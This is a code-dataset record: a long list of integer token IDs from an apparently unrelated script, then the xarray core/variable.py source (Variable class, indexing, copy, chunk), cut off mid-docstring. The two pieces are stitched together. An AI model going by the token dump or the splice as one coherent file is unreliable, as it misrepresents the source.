338,
4095,
287,
491,
263,
350,
7230,
29899,
3293,
19405,
393,
508,
367,
13,
29937,
1476,
297,
278,
365,
2965,
1430,
1660,
934,
29889,
13,
13,
5215,
1852,
5510,
13,
5215,
2897,
13,
5215,
1002,
13,
5215,
1347,
13,
5215,
10876,
13,
13,
1753,
1667,
7295,
13,
29871,
13812,
353,
1852,
5510,
29889,
15730,
11726,
29898,
13,
418,
6139,
2433,
5631,
403,
263,
2471,
393,
2437,
23195,
2999,
20287,
29918,
1688,
22525,
1495,
13,
29871,
13812,
29889,
1202,
29918,
23516,
877,
489,
9970,
742,
13,
462,
418,
1371,
2433,
2605,
304,
278,
1985,
3884,
29892,
6198,
304,
393,
310,
278,
2437,
10610,
934,
742,
13,
462,
418,
3734,
29922,
5574,
29897,
13,
29871,
13812,
29889,
1202,
29918,
23516,
877,
489,
449,
742,
13,
462,
418,
1371,
2433,
2605,
304,
278,
2437,
10610,
934,
304,
5706,
742,
13,
462,
418,
3734,
29922,
5574,
29897,
13,
29871,
13812,
29889,
1202,
29918,
23516,
877,
489,
1688,
742,
13,
462,
418,
3158,
2433,
4397,
742,
13,
462,
418,
1371,
2433,
2528,
29879,
263,
3646,
304,
278,
1051,
310,
1243,
6704,
1849,
29892,
6198,
304,
278,
1985,
3884,
742,
13,
462,
418,
3734,
29922,
5574,
29897,
13,
29871,
6389,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
13,
29871,
1243,
29918,
1445,
353,
6389,
29889,
449,
13,
29871,
1243,
29918,
3972,
353,
2897,
29889,
2084,
29889,
25721,
29898,
1688,
29918,
1445,
29897,
13,
29871,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
1688,
29918,
3972,
1125,
13,
1678,
2897,
29889,
29885,
12535,
12935,
29898,
1688,
29918,
3972,
29897,
13,
13,
29871,
2471,
353,
14550,
29937,
14708,
2109,
29914,
13067,
13,
13,
29937,
11662,
6058,
11488,
13,
29937,
910,
2471,
338,
5759,
491,
29901,
13,
29937,
259,
849,
3332,
834,
29914,
15634,
29914,
11353,
29914,
1885,
29918,
1688,
29918,
16718,
29918,
11569,
10610,
29889,
2272,
13,
29937,
2823,
29901,
849,
3332,
834,
29914,
15634,
29914,
11353,
29914,
11353,
29918,
1688,
29889,
29887,
1240,
13,
13,
12008,
13,
29871,
2471,
4619,
525,
2252,
3908,
29898,
25721,
395,
29900,
6802,
29995,
29879,
26732,
29876,
29915,
1273,
6389,
29889,
9970,
13,
29871,
363,
1243,
29918,
4258,
9246,
297,
6389,
29889,
1688,
29901,
13,
1678,
2471,
4619,
14210,
29879,
3908,
5507,
29905,
29876,
29915,
1273,
1243,
29918,
4258,
9246,
13,
13,
29871,
411,
1722,
29898,
1688,
29918,
1445,
29892,
525,
29893,
1495,
408,
934,
29901,
13,
418,
934,
29889,
3539,
29898,
2154,
29897,
13,
29871,
11239,
353,
313,
6112,
29889,
29903,
29918,
8193,
3308,
29934,
891,
1002,
29889,
29903,
29918,
29902,
29956,
3308,
29934,
891,
1002,
29889,
29903,
29918,
6415,
3308,
29934,
891,
13,
462,
1002,
29889,
29903,
29918,
8193,
14345,
29925,
891,
1002,
29889,
29903,
29918,
29902,
29956,
14345,
29925,
891,
1002,
29889,
29903,
29918,
6415,
14345,
29925,
891,
13,
462,
1002,
29889,
29903,
29918,
29902,
1672,
4690,
29897,
13,
29871,
2897,
29889,
305,
1545,
29898,
1688,
29918,
1445,
29892,
11239,
29897,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
29871,
10876,
29889,
13322,
29898,
3396,
3101,
13,
2
] |
xarray/core/variable.py | timgates42/xarray | 0 | 711 | import copy
import functools
import itertools
import numbers
import warnings
from collections import defaultdict
from datetime import timedelta
from distutils.version import LooseVersion
from typing import (
Any,
Dict,
Hashable,
Mapping,
Optional,
Sequence,
Tuple,
TypeVar,
Union,
)
import numpy as np
import pandas as pd
import xarray as xr # only for Dataset and DataArray
from . import arithmetic, common, dtypes, duck_array_ops, indexing, nputils, ops, utils
from .indexing import (
BasicIndexer,
OuterIndexer,
PandasIndexAdapter,
VectorizedIndexer,
as_indexable,
)
from .npcompat import IS_NEP18_ACTIVE
from .options import _get_keep_attrs
from .pycompat import (
cupy_array_type,
dask_array_type,
integer_types,
is_duck_dask_array,
)
from .utils import (
OrderedSet,
_default,
decode_numpy_dict_values,
drop_dims_from_indexers,
either_dict_or_kwargs,
ensure_us_time_resolution,
infix_dims,
is_duck_array,
)
NON_NUMPY_SUPPORTED_ARRAY_TYPES = (
(
indexing.ExplicitlyIndexed,
pd.Index,
)
+ dask_array_type
+ cupy_array_type
)
# https://github.com/python/mypy/issues/224
BASIC_INDEXING_TYPES = integer_types + (slice,) # type: ignore
VariableType = TypeVar("VariableType", bound="Variable")
"""Type annotation to be used when methods of Variable return self or a copy of self.
When called from an instance of a subclass, e.g. IndexVariable, mypy identifies the
output as an instance of the subclass.
Usage::
class Variable:
def f(self: VariableType, ...) -> VariableType:
...
"""
class MissingDimensionsError(ValueError):
"""Error class used when we can't safely guess a dimension name."""
# inherits from ValueError for backward compatibility
# TODO: move this to an xarray.exceptions module?
def as_variable(obj, name=None) -> "Union[Variable, IndexVariable]":
"""Convert an object into a Variable.
Parameters
----------
obj : object
Object to convert into a Variable.
- If the object is already a Variable, return a shallow copy.
- Otherwise, if the object has 'dims' and 'data' attributes, convert
it into a new Variable.
- If all else fails, attempt to convert the object into a Variable by
unpacking it into the arguments for creating a new Variable.
name : str, optional
If provided:
- `obj` can be a 1D array, which is assumed to label coordinate values
along a dimension of this given name.
- Variables with name matching one of their dimensions are converted
into `IndexVariable` objects.
Returns
-------
var : Variable
The newly created variable.
"""
from .dataarray import DataArray
# TODO: consider extending this method to automatically handle Iris and
if isinstance(obj, DataArray):
# extract the primary Variable from DataArrays
obj = obj.variable
if isinstance(obj, Variable):
obj = obj.copy(deep=False)
elif isinstance(obj, tuple):
try:
obj = Variable(*obj)
except (TypeError, ValueError) as error:
# use .format() instead of % because it handles tuples consistently
raise error.__class__(
"Could not convert tuple of form "
"(dims, data[, attrs, encoding]): "
"{} to Variable.".format(obj)
)
elif utils.is_scalar(obj):
obj = Variable([], obj)
elif isinstance(obj, (pd.Index, IndexVariable)) and obj.name is not None:
obj = Variable(obj.name, obj)
elif isinstance(obj, (set, dict)):
raise TypeError("variable {!r} has invalid type {!r}".format(name, type(obj)))
elif name is not None:
data = as_compatible_data(obj)
if data.ndim != 1:
raise MissingDimensionsError(
"cannot set variable %r with %r-dimensional data "
"without explicit dimension names. Pass a tuple of "
"(dims, data) instead." % (name, data.ndim)
)
obj = Variable(name, data, fastpath=True)
else:
raise TypeError(
"unable to convert object into a variable without an "
"explicit list of dimensions: %r" % obj
)
if name is not None and name in obj.dims:
# convert the Variable into an Index
if obj.ndim != 1:
raise MissingDimensionsError(
"%r has more than 1-dimension and the same name as one of its "
"dimensions %r. xarray disallows such variables because they "
"conflict with the coordinates used to label "
"dimensions." % (name, obj.dims)
)
obj = obj.to_index_variable()
return obj
def _maybe_wrap_data(data):
"""
Put pandas.Index and numpy.ndarray arguments in adapter objects to ensure
they can be indexed properly.
NumpyArrayAdapter, PandasIndexAdapter and LazilyOuterIndexedArray should
all pass through unmodified.
"""
if isinstance(data, pd.Index):
return PandasIndexAdapter(data)
return data
def _possibly_convert_objects(values):
"""Convert arrays of datetime.datetime and datetime.timedelta objects into
datetime64 and timedelta64, according to the pandas convention. Also used for
validating that datetime64 and timedelta64 objects are within the valid date
range for ns precision, as pandas will raise an error if they are not.
"""
return np.asarray(pd.Series(values.ravel())).reshape(values.shape)
def as_compatible_data(data, fastpath=False):
"""Prepare and wrap data to put in a Variable.
- If data does not have the necessary attributes, convert it to ndarray.
- If data has dtype=datetime64, ensure that it has ns precision. If it's a
pandas.Timestamp, convert it to datetime64.
- If data is already a pandas or xarray object (other than an Index), just
use the values.
Finally, wrap it up with an adapter if necessary.
"""
if fastpath and getattr(data, "ndim", 0) > 0:
# can't use fastpath (yet) for scalars
return _maybe_wrap_data(data)
if isinstance(data, Variable):
return data.data
if isinstance(data, NON_NUMPY_SUPPORTED_ARRAY_TYPES):
return _maybe_wrap_data(data)
if isinstance(data, tuple):
data = utils.to_0d_object_array(data)
if isinstance(data, pd.Timestamp):
# TODO: convert, handle datetime objects, too
data = np.datetime64(data.value, "ns")
if isinstance(data, timedelta):
data = np.timedelta64(getattr(data, "value", data), "ns")
# we don't want nested self-described arrays
data = getattr(data, "values", data)
if isinstance(data, np.ma.MaskedArray):
mask = np.ma.getmaskarray(data)
if mask.any():
dtype, fill_value = dtypes.maybe_promote(data.dtype)
data = np.asarray(data, dtype=dtype)
data[mask] = fill_value
else:
data = np.asarray(data)
if not isinstance(data, np.ndarray):
if hasattr(data, "__array_function__"):
if IS_NEP18_ACTIVE:
return data
else:
raise TypeError(
"Got an NumPy-like array type providing the "
"__array_function__ protocol but NEP18 is not enabled. "
"Check that numpy >= v1.16 and that the environment "
'variable "NUMPY_EXPERIMENTAL_ARRAY_FUNCTION" is set to '
'"1"'
)
# validate whether the data is valid data types.
data = np.asarray(data)
if isinstance(data, np.ndarray):
if data.dtype.kind == "O":
data = _possibly_convert_objects(data)
elif data.dtype.kind == "M":
data = _possibly_convert_objects(data)
elif data.dtype.kind == "m":
data = _possibly_convert_objects(data)
return _maybe_wrap_data(data)
def _as_array_or_item(data):
"""Return the given values as a numpy array, or as an individual item if
it's a 0d datetime64 or timedelta64 array.
Importantly, this function does not copy data if it is already an ndarray -
otherwise, it will not be possible to update Variable values in place.
This function mostly exists because 0-dimensional ndarrays with
dtype=datetime64 are broken :(
https://github.com/numpy/numpy/issues/4337
https://github.com/numpy/numpy/issues/7619
TODO: remove this (replace with np.asarray) once these issues are fixed
"""
if isinstance(data, cupy_array_type):
data = data.get()
else:
data = np.asarray(data)
if data.ndim == 0:
if data.dtype.kind == "M":
data = np.datetime64(data, "ns")
elif data.dtype.kind == "m":
data = np.timedelta64(data, "ns")
return data
class Variable(
common.AbstractArray, arithmetic.SupportsArithmetic, utils.NdimSizeLenMixin
):
"""A netcdf-like variable consisting of dimensions, data and attributes
which describe a single Array. A single Variable object is not fully
described outside the context of its parent Dataset (if you want such a
fully described object, use a DataArray instead).
The main functional difference between Variables and numpy arrays is that
numerical operations on Variables implement array broadcasting by dimension
name. For example, adding an Variable with dimensions `('time',)` to
another Variable with dimensions `('space',)` results in a new Variable
with dimensions `('time', 'space')`. Furthermore, numpy reduce operations
like ``mean`` or ``sum`` are overwritten to take a "dimension" argument
instead of an "axis".
Variables are light-weight objects used as the building block for datasets.
They are more primitive objects, so operations with them provide marginally
higher performance than using DataArrays. However, manipulating data in the
form of a Dataset or DataArray should almost always be preferred, because
they can use more complete metadata in context of coordinate labels.
"""
__slots__ = ("_dims", "_data", "_attrs", "_encoding")
def __init__(self, dims, data, attrs=None, encoding=None, fastpath=False):
"""
Parameters
----------
dims : str or sequence of str
Name(s) of the the data dimension(s). Must be either a string (only
for 1D data) or a sequence of strings with length equal to the
number of dimensions.
data : array_like
Data array which supports numpy-like data access.
attrs : dict_like or None, optional
Attributes to assign to the new variable. If None (default), an
empty attribute dictionary is initialized.
encoding : dict_like or None, optional
Dictionary specifying how to encode this array's data into a
serialized format like netCDF4. Currently used keys (for netCDF)
include '_FillValue', 'scale_factor', 'add_offset' and 'dtype'.
Well-behaved code to serialize a Variable should ignore
unrecognized encoding items.
"""
self._data = as_compatible_data(data, fastpath=fastpath)
self._dims = self._parse_dimensions(dims)
self._attrs = None
self._encoding = None
if attrs is not None:
self.attrs = attrs
if encoding is not None:
self.encoding = encoding
@property
def dtype(self):
return self._data.dtype
@property
def shape(self):
return self._data.shape
@property
def nbytes(self):
return self.size * self.dtype.itemsize
@property
def _in_memory(self):
return isinstance(self._data, (np.ndarray, np.number, PandasIndexAdapter)) or (
isinstance(self._data, indexing.MemoryCachedArray)
and isinstance(self._data.array, indexing.NumpyIndexingAdapter)
)
@property
def data(self):
if is_duck_array(self._data):
return self._data
else:
return self.values
@data.setter
def data(self, data):
data = as_compatible_data(data)
if data.shape != self.shape:
raise ValueError(
f"replacement data must match the Variable's shape. "
f"replacement data has shape {data.shape}; Variable has shape {self.shape}"
)
self._data = data
def astype(
self: VariableType,
dtype,
*,
order=None,
casting=None,
subok=None,
copy=None,
keep_attrs=True,
) -> VariableType:
"""
Copy of the Variable object, with data cast to a specified type.
Parameters
----------
dtype : str or dtype
Typecode or data-type to which the array is cast.
order : {'C', 'F', 'A', 'K'}, optional
Controls the memory layout order of the result. ‘C’ means C order,
‘F’ means Fortran order, ‘A’ means ‘F’ order if all the arrays are
Fortran contiguous, ‘C’ order otherwise, and ‘K’ means as close to
the order the array elements appear in memory as possible.
casting : {'no', 'equiv', 'safe', 'same_kind', 'unsafe'}, optional
Controls what kind of data casting may occur.
* 'no' means the data types should not be cast at all.
* 'equiv' means only byte-order changes are allowed.
* 'safe' means only casts which can preserve values are allowed.
* 'same_kind' means only safe casts or casts within a kind,
like float64 to float32, are allowed.
* 'unsafe' means any data conversions may be done.
subok : bool, optional
If True, then sub-classes will be passed-through, otherwise the
returned array will be forced to be a base-class array.
copy : bool, optional
By default, astype always returns a newly allocated array. If this
is set to False and the `dtype` requirement is satisfied, the input
array is returned instead of a copy.
keep_attrs : bool, optional
By default, astype keeps attributes. Set to False to remove
attributes in the returned object.
Returns
-------
out : same as object
New object with data cast to the specified type.
Notes
-----
The ``order``, ``casting``, ``subok`` and ``copy`` arguments are only passed
through to the ``astype`` method of the underlying array when a value
different than ``None`` is supplied.
Make sure to only supply these arguments if the underlying array class
supports them.
See also
--------
numpy.ndarray.astype
dask.array.Array.astype
sparse.COO.astype
"""
from .computation import apply_ufunc
kwargs = dict(order=order, casting=casting, subok=subok, copy=copy)
kwargs = {k: v for k, v in kwargs.items() if v is not None}
return apply_ufunc(
duck_array_ops.astype,
self,
dtype,
kwargs=kwargs,
keep_attrs=keep_attrs,
dask="allowed",
)
def load(self, **kwargs):
"""Manually trigger loading of this variable's data from disk or a
remote source into memory and return this variable.
Normally, it should not be necessary to call this method in user code,
because all xarray functions should either work on deferred data or
load data automatically.
Parameters
----------
**kwargs : dict
Additional keyword arguments passed on to ``dask.array.compute``.
See Also
--------
dask.array.compute
"""
if is_duck_dask_array(self._data):
self._data = as_compatible_data(self._data.compute(**kwargs))
elif not is_duck_array(self._data):
self._data = np.asarray(self._data)
return self
def compute(self, **kwargs):
"""Manually trigger loading of this variable's data from disk or a
remote source into memory and return a new variable. The original is
left unaltered.
Normally, it should not be necessary to call this method in user code,
because all xarray functions should either work on deferred data or
load data automatically.
Parameters
----------
**kwargs : dict
Additional keyword arguments passed on to ``dask.array.compute``.
See Also
--------
dask.array.compute
"""
new = self.copy(deep=False)
return new.load(**kwargs)
def __dask_tokenize__(self):
# Use v.data, instead of v._data, in order to cope with the wrappers
# around NetCDF and the like
from dask.base import normalize_token
return normalize_token((type(self), self._dims, self.data, self._attrs))
def __dask_graph__(self):
if is_duck_dask_array(self._data):
return self._data.__dask_graph__()
else:
return None
def __dask_keys__(self):
return self._data.__dask_keys__()
def __dask_layers__(self):
return self._data.__dask_layers__()
@property
def __dask_optimize__(self):
return self._data.__dask_optimize__
@property
def __dask_scheduler__(self):
return self._data.__dask_scheduler__
def __dask_postcompute__(self):
array_func, array_args = self._data.__dask_postcompute__()
return (
self._dask_finalize,
(array_func, array_args, self._dims, self._attrs, self._encoding),
)
def __dask_postpersist__(self):
array_func, array_args = self._data.__dask_postpersist__()
return (
self._dask_finalize,
(array_func, array_args, self._dims, self._attrs, self._encoding),
)
@staticmethod
def _dask_finalize(results, array_func, array_args, dims, attrs, encoding):
data = array_func(results, *array_args)
return Variable(dims, data, attrs=attrs, encoding=encoding)
@property
def values(self):
"""The variable's data as a numpy.ndarray"""
return _as_array_or_item(self._data)
@values.setter
def values(self, values):
self.data = values
def to_base_variable(self):
"""Return this variable as a base xarray.Variable"""
return Variable(
self.dims, self._data, self._attrs, encoding=self._encoding, fastpath=True
)
to_variable = utils.alias(to_base_variable, "to_variable")
def to_index_variable(self):
"""Return this variable as an xarray.IndexVariable"""
return IndexVariable(
self.dims, self._data, self._attrs, encoding=self._encoding, fastpath=True
)
to_coord = utils.alias(to_index_variable, "to_coord")
def to_index(self):
"""Convert this variable to a pandas.Index"""
return self.to_index_variable().to_index()
def to_dict(self, data=True):
"""Dictionary representation of variable."""
item = {"dims": self.dims, "attrs": decode_numpy_dict_values(self.attrs)}
if data:
item["data"] = ensure_us_time_resolution(self.values).tolist()
else:
item.update({"dtype": str(self.dtype), "shape": self.shape})
return item
@property
def dims(self):
"""Tuple of dimension names with which this variable is associated."""
return self._dims
@dims.setter
def dims(self, value):
self._dims = self._parse_dimensions(value)
def _parse_dimensions(self, dims):
if isinstance(dims, str):
dims = (dims,)
dims = tuple(dims)
if len(dims) != self.ndim:
raise ValueError(
"dimensions %s must have the same length as the "
"number of data dimensions, ndim=%s" % (dims, self.ndim)
)
return dims
def _item_key_to_tuple(self, key):
if utils.is_dict_like(key):
return tuple(key.get(dim, slice(None)) for dim in self.dims)
else:
return key
def _broadcast_indexes(self, key):
"""Prepare an indexing key for an indexing operation.
Parameters
-----------
key: int, slice, array-like, dict or tuple of integer, slice and array-like
Any valid input for indexing.
Returns
-------
dims : tuple
Dimension of the resultant variable.
indexers : IndexingTuple subclass
Tuple of integer, array-like, or slices to use when indexing
self._data. The type of this argument indicates the type of
indexing to perform, either basic, outer or vectorized.
new_order : Optional[Sequence[int]]
Optional reordering to do on the result of indexing. If not None,
the first len(new_order) indexing should be moved to these
positions.
"""
key = self._item_key_to_tuple(key) # key is a tuple
# key is a tuple of full size
key = indexing.expanded_indexer(key, self.ndim)
# Convert a scalar Variable to an integer
key = tuple(
k.data.item() if isinstance(k, Variable) and k.ndim == 0 else k for k in key
)
# Convert a 0d-array to an integer
key = tuple(
k.item() if isinstance(k, np.ndarray) and k.ndim == 0 else k for k in key
)
if all(isinstance(k, BASIC_INDEXING_TYPES) for k in key):
return self._broadcast_indexes_basic(key)
self._validate_indexers(key)
# Detect it can be mapped as an outer indexer
# If all key is unlabeled, or
# key can be mapped as an OuterIndexer.
if all(not isinstance(k, Variable) for k in key):
return self._broadcast_indexes_outer(key)
# If all key is 1-dimensional and there are no duplicate labels,
# key can be mapped as an OuterIndexer.
dims = []
for k, d in zip(key, self.dims):
if isinstance(k, Variable):
if len(k.dims) > 1:
return self._broadcast_indexes_vectorized(key)
dims.append(k.dims[0])
elif not isinstance(k, integer_types):
dims.append(d)
if len(set(dims)) == len(dims):
return self._broadcast_indexes_outer(key)
return self._broadcast_indexes_vectorized(key)
def _broadcast_indexes_basic(self, key):
dims = tuple(
dim for k, dim in zip(key, self.dims) if not isinstance(k, integer_types)
)
return dims, BasicIndexer(key), None
def _validate_indexers(self, key):
""" Make sanity checks """
for dim, k in zip(self.dims, key):
if isinstance(k, BASIC_INDEXING_TYPES):
pass
else:
if not isinstance(k, Variable):
k = np.asarray(k)
if k.ndim > 1:
raise IndexError(
"Unlabeled multi-dimensional array cannot be "
"used for indexing: {}".format(k)
)
if k.dtype.kind == "b":
if self.shape[self.get_axis_num(dim)] != len(k):
raise IndexError(
"Boolean array size {:d} is used to index array "
"with shape {:s}.".format(len(k), str(self.shape))
)
if k.ndim > 1:
raise IndexError(
"{}-dimensional boolean indexing is "
"not supported. ".format(k.ndim)
)
if getattr(k, "dims", (dim,)) != (dim,):
raise IndexError(
"Boolean indexer should be unlabeled or on the "
"same dimension to the indexed array. Indexer is "
"on {:s} but the target dimension is {:s}.".format(
str(k.dims), dim
)
)
def _broadcast_indexes_outer(self, key):
dims = tuple(
k.dims[0] if isinstance(k, Variable) else dim
for k, dim in zip(key, self.dims)
if not isinstance(k, integer_types)
)
new_key = []
for k in key:
if isinstance(k, Variable):
k = k.data
if not isinstance(k, BASIC_INDEXING_TYPES):
k = np.asarray(k)
if k.size == 0:
# Slice by empty list; numpy could not infer the dtype
k = k.astype(int)
elif k.dtype.kind == "b":
(k,) = np.nonzero(k)
new_key.append(k)
return dims, OuterIndexer(tuple(new_key)), None
def _nonzero(self):
""" Equivalent numpy's nonzero but returns a tuple of Varibles. """
# TODO we should replace dask's native nonzero
# after https://github.com/dask/dask/issues/1076 is implemented.
nonzeros = np.nonzero(self.data)
return tuple(Variable((dim), nz) for nz, dim in zip(nonzeros, self.dims))
def _broadcast_indexes_vectorized(self, key):
variables = []
out_dims_set = OrderedSet()
for dim, value in zip(self.dims, key):
if isinstance(value, slice):
out_dims_set.add(dim)
else:
variable = (
value
if isinstance(value, Variable)
else as_variable(value, name=dim)
)
if variable.dtype.kind == "b": # boolean indexing case
(variable,) = variable._nonzero()
variables.append(variable)
out_dims_set.update(variable.dims)
variable_dims = set()
for variable in variables:
variable_dims.update(variable.dims)
slices = []
for i, (dim, value) in enumerate(zip(self.dims, key)):
if isinstance(value, slice):
if dim in variable_dims:
# We only convert slice objects to variables if they share
# a dimension with at least one other variable. Otherwise,
# we can equivalently leave them as slices aknd transpose
# the result. This is significantly faster/more efficient
# for most array backends.
values = np.arange(*value.indices(self.sizes[dim]))
variables.insert(i - len(slices), Variable((dim,), values))
else:
slices.append((i, value))
try:
variables = _broadcast_compat_variables(*variables)
except ValueError:
raise IndexError(f"Dimensions of indexers mismatch: {key}")
out_key = [variable.data for variable in variables]
out_dims = tuple(out_dims_set)
slice_positions = set()
for i, value in slices:
out_key.insert(i, value)
new_position = out_dims.index(self.dims[i])
slice_positions.add(new_position)
if slice_positions:
new_order = [i for i in range(len(out_dims)) if i not in slice_positions]
else:
new_order = None
return out_dims, VectorizedIndexer(tuple(out_key)), new_order
def __getitem__(self: VariableType, key) -> VariableType:
"""Return a new Variable object whose contents are consistent with
getting the provided key from the underlying data.
NB. __getitem__ and __setitem__ implement xarray-style indexing,
where if keys are unlabeled arrays, we index the array orthogonally
with them. If keys are labeled array (such as Variables), they are
broadcasted with our usual scheme and then the array is indexed with
the broadcasted key, like numpy's fancy indexing.
If you really want to do indexing like `x[x > 0]`, manipulate the numpy
array `x.values` directly.
"""
dims, indexer, new_order = self._broadcast_indexes(key)
data = as_indexable(self._data)[indexer]
if new_order:
data = duck_array_ops.moveaxis(data, range(len(new_order)), new_order)
return self._finalize_indexing_result(dims, data)
def _finalize_indexing_result(self: VariableType, dims, data) -> VariableType:
"""Used by IndexVariable to return IndexVariable objects when possible."""
return type(self)(dims, data, self._attrs, self._encoding, fastpath=True)
def _getitem_with_mask(self, key, fill_value=dtypes.NA):
"""Index this Variable with -1 remapped to fill_value."""
# TODO(shoyer): expose this method in public API somewhere (isel?) and
# use it for reindex.
# TODO(shoyer): add a sanity check that all other integers are
# non-negative
# TODO(shoyer): add an optimization, remapping -1 to an adjacent value
# that is actually indexed rather than mapping it to the last value
# along each axis.
if fill_value is dtypes.NA:
fill_value = dtypes.get_fill_value(self.dtype)
dims, indexer, new_order = self._broadcast_indexes(key)
if self.size:
if is_duck_dask_array(self._data):
# dask's indexing is faster this way; also vindex does not
# support negative indices yet:
# https://github.com/dask/dask/pull/2967
actual_indexer = indexing.posify_mask_indexer(indexer)
else:
actual_indexer = indexer
data = as_indexable(self._data)[actual_indexer]
mask = indexing.create_mask(indexer, self.shape, data)
# we need to invert the mask in order to pass data first. This helps
# pint to choose the correct unit
# TODO: revert after https://github.com/hgrecco/pint/issues/1019 is fixed
data = duck_array_ops.where(np.logical_not(mask), data, fill_value)
else:
# array cannot be indexed along dimensions of size 0, so just
# build the mask directly instead.
mask = indexing.create_mask(indexer, self.shape)
data = np.broadcast_to(fill_value, getattr(mask, "shape", ()))
if new_order:
data = duck_array_ops.moveaxis(data, range(len(new_order)), new_order)
return self._finalize_indexing_result(dims, data)
def __setitem__(self, key, value):
"""__setitem__ is overloaded to access the underlying numpy values with
orthogonal indexing.
See __getitem__ for more details.
"""
dims, index_tuple, new_order = self._broadcast_indexes(key)
if not isinstance(value, Variable):
value = as_compatible_data(value)
if value.ndim > len(dims):
raise ValueError(
"shape mismatch: value array of shape %s could not be "
"broadcast to indexing result with %s dimensions"
% (value.shape, len(dims))
)
if value.ndim == 0:
value = Variable((), value)
else:
value = Variable(dims[-value.ndim :], value)
# broadcast to become assignable
value = value.set_dims(dims).data
if new_order:
value = duck_array_ops.asarray(value)
value = value[(len(dims) - value.ndim) * (np.newaxis,) + (Ellipsis,)]
value = duck_array_ops.moveaxis(value, new_order, range(len(new_order)))
indexable = as_indexable(self._data)
indexable[index_tuple] = value
@property
def attrs(self) -> Dict[Hashable, Any]:
"""Dictionary of local attributes on this variable."""
if self._attrs is None:
self._attrs = {}
return self._attrs
@attrs.setter
def attrs(self, value: Mapping[Hashable, Any]) -> None:
self._attrs = dict(value)
@property
def encoding(self):
"""Dictionary of encodings on this variable."""
if self._encoding is None:
self._encoding = {}
return self._encoding
@encoding.setter
def encoding(self, value):
try:
self._encoding = dict(value)
except ValueError:
raise ValueError("encoding must be castable to a dictionary")
def copy(self, deep=True, data=None):
"""Returns a copy of this object.
If `deep=True`, the data array is loaded into memory and copied onto
the new object. Dimensions, attributes and encodings are always copied.
Use `data` to create a new object with the same structure as
original but entirely new data.
Parameters
----------
deep : bool, optional
Whether the data array is loaded into memory and copied onto
the new object. Default is True.
data : array_like, optional
Data to use in the new object. Must have same shape as original.
When `data` is used, `deep` is ignored.
Returns
-------
object : Variable
New object with dimensions, attributes, encodings, and optionally
data copied from original.
Examples
--------
Shallow copy versus deep copy
>>> var = xr.Variable(data=[1, 2, 3], dims="x")
>>> var.copy()
<xarray.Variable (x: 3)>
array([1, 2, 3])
>>> var_0 = var.copy(deep=False)
>>> var_0[0] = 7
>>> var_0
<xarray.Variable (x: 3)>
array([7, 2, 3])
>>> var
<xarray.Variable (x: 3)>
array([7, 2, 3])
Changing the data using the ``data`` argument maintains the
structure of the original object, but with the new data. Original
object is unaffected.
>>> var.copy(data=[0.1, 0.2, 0.3])
<xarray.Variable (x: 3)>
array([0.1, 0.2, 0.3])
>>> var
<xarray.Variable (x: 3)>
array([7, 2, 3])
See Also
--------
pandas.DataFrame.copy
"""
if data is None:
data = self._data
if isinstance(data, indexing.MemoryCachedArray):
# don't share caching between copies
data = indexing.MemoryCachedArray(data.array)
if deep:
data = copy.deepcopy(data)
else:
data = as_compatible_data(data)
if self.shape != data.shape:
raise ValueError(
"Data shape {} must match shape of object {}".format(
data.shape, self.shape
)
)
# note:
# dims is already an immutable tuple
# attributes and encoding will be copied when the new Array is created
return self._replace(data=data)
def _replace(
self, dims=_default, data=_default, attrs=_default, encoding=_default
) -> "Variable":
if dims is _default:
dims = copy.copy(self._dims)
if data is _default:
data = copy.copy(self.data)
if attrs is _default:
attrs = copy.copy(self._attrs)
if encoding is _default:
encoding = copy.copy(self._encoding)
return type(self)(dims, data, attrs, encoding, fastpath=True)
def __copy__(self):
return self.copy(deep=False)
def __deepcopy__(self, memo=None):
# memo does nothing but is required for compatibility with
# copy.deepcopy
return self.copy(deep=True)
# mutable objects should not be hashable
# https://github.com/python/mypy/issues/4266
__hash__ = None # type: ignore
@property
def chunks(self):
"""Block dimensions for this array's data or None if it's not a dask
array.
"""
return getattr(self._data, "chunks", None)
_array_counter = itertools.count()
def chunk(self, chunks={}, name=None, lock=False):
"""Coerce this array's data into a dask arrays with the given chunks.
If this variable is a non-dask array, it will be converted to dask
array. If it's a dask array, it will be rechunked to the given chunk
sizes.
If neither chunks is not provided for one or more dimensions, chunk
sizes along that dimension will not be updated; non-dask arrays will be
converted into dask arrays with a single block.
Parameters
----------
chunks : int, tuple or dict, optional
Chunk sizes along each dimension, e.g., ``5``, ``(5, 5)`` or
``{'x': 5, 'y': 5}``.
name : str, optional
Used to generate the name for this array in the internal dask
graph. Does not need not be unique.
lock : optional
Passed on to :py:func:`dask.array.from_array`, if the array is not
already as dask array.
Returns
-------
chunked : xarray.Variable
"""
import dask
import dask.array as da
if chunks is None:
warnings.warn(
"None value for 'chunks' is deprecated. "
"It will raise an error in the future. Use instead '{}'",
category=FutureWarning,
)
chunks = {}
if utils.is_dict_like(chunks):
chunks = {self.get_axis_num(dim): chunk for dim, chunk in chunks.items()}
data = self._data
if is_duck_dask_array(data):
data = data.rechunk(chunks)
else:
if isinstance(data, indexing.ExplicitlyIndexed):
# Unambiguously handle array storage backends (like NetCDF4 and h5py)
# that can't handle general array indexing. For example, in netCDF4 you
# can do "outer" indexing along two dimensions independent, which works
# differently from how NumPy handles it.
# da.from_array works by using lazy indexing with a tuple of slices.
# Using OuterIndexer is a pragmatic choice: dask does not yet handle
# different indexing types in an explicit way:
# https://github.com/dask/dask/issues/2883
data = indexing.ImplicitToExplicitIndexingAdapter(
data, indexing.OuterIndexer
)
if LooseVersion(dask.__version__) < "2.0.0":
kwargs = {}
else:
# All of our lazily loaded backend array classes should use NumPy
# array operations.
kwargs = {"meta": np.ndarray}
else:
kwargs = {}
if utils.is_dict_like(chunks):
chunks = tuple(chunks.get(n, s) for n, s in enumerate(self.shape))
data = da.from_array(data, chunks, name=name, lock=lock, **kwargs)
return type(self)(self.dims, data, self._attrs, self._encoding, fastpath=True)
def _as_sparse(self, sparse_format=_default, fill_value=dtypes.NA):
"""
use sparse-array as backend.
"""
import sparse
# TODO: what to do if dask-backended?
if fill_value is dtypes.NA:
dtype, fill_value = dtypes.maybe_promote(self.dtype)
else:
dtype = dtypes.result_type(self.dtype, fill_value)
if sparse_format is _default:
sparse_format = "coo"
try:
as_sparse = getattr(sparse, f"as_{sparse_format.lower()}")
except AttributeError:
raise ValueError(f"{sparse_format} is not a valid sparse format")
data = as_sparse(self.data.astype(dtype), fill_value=fill_value)
return self._replace(data=data)
def _to_dense(self):
"""
